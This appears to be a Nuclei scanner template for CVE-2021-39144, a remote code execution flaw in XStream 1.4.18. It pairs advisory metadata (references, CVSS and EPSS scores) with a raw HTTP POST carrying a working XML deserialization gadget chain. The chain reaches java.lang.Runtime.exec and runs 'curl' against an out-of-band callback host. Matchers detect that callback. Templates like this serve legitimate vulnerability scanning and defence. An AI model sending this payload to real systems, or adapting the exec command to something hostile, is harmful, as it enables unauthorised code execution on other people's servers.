86 lines
3.1 KiB
YAML
86 lines
3.1 KiB
YAML
id: CVE-2021-39144
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info:
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name: XStream 1.4.18 - Remote Code Execution
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author: pwnhxl,vicrack
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severity: high
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description: |
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XStream 1.4.18 is susceptible to remote code execution. An attacker can execute commands of the host by manipulating the processed input stream, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site. Setups which followed XStream's security recommendations with an allow-list are not impacted.
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reference:
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- https://x-stream.github.io/CVE-2021-39144.html
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- https://github.com/x-stream/xstream/security/advisories/GHSA-j9h8-phrw-h4fh
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- https://security.netapp.com/advisory/ntap-20210923-0003/
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- https://nvd.nist.gov/vuln/detail/cve-2021-39144
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- https://lists.debian.org/debian-lts-announce/2021/09/msg00017.html
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H
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cvss-score: 8.5
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cve-id: CVE-2021-39144
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cwe-id: CWE-306,CWE-502
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epss-score: 0.97244
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cpe: cpe:2.3:a:xstream_project:xstream:*:*:*:*:*:*:*:*
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epss-percentile: 0.99759
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metadata:
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max-request: 1
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vendor: xstream_project
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product: xstream
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tags: cve,cve2021,xstream,deserialization,rce,kev
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http:
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- raw:
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- |
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POST / HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/xml
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<java.util.PriorityQueue serialization='custom'>
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<unserializable-parents/>
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<java.util.PriorityQueue>
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<default>
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<size>2</size>
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</default>
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<int>3</int>
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<dynamic-proxy>
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<interface>java.lang.Comparable</interface>
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<handler class='sun.tracing.NullProvider'>
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<active>true</active>
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<providerType>java.lang.Comparable</providerType>
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<probes>
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<entry>
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<method>
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<class>java.lang.Comparable</class>
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<name>compareTo</name>
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<parameter-types>
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<class>java.lang.Object</class>
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</parameter-types>
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</method>
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<sun.tracing.dtrace.DTraceProbe>
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<proxy class='java.lang.Runtime'/>
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<implementing__method>
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<class>java.lang.Runtime</class>
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<name>exec</name>
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<parameter-types>
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<class>java.lang.String</class>
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</parameter-types>
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</implementing__method>
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</sun.tracing.dtrace.DTraceProbe>
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</entry>
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</probes>
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</handler>
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</dynamic-proxy>
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<string>curl http://{{interactsh-url}}</string>
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</java.util.PriorityQueue>
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</java.util.PriorityQueue>
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matchers-condition: and
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matchers:
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- type: word
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part: interactsh_protocol
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words:
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- "http"
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- type: word
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part: interactsh_request
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words:
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- "User-Agent: curl"
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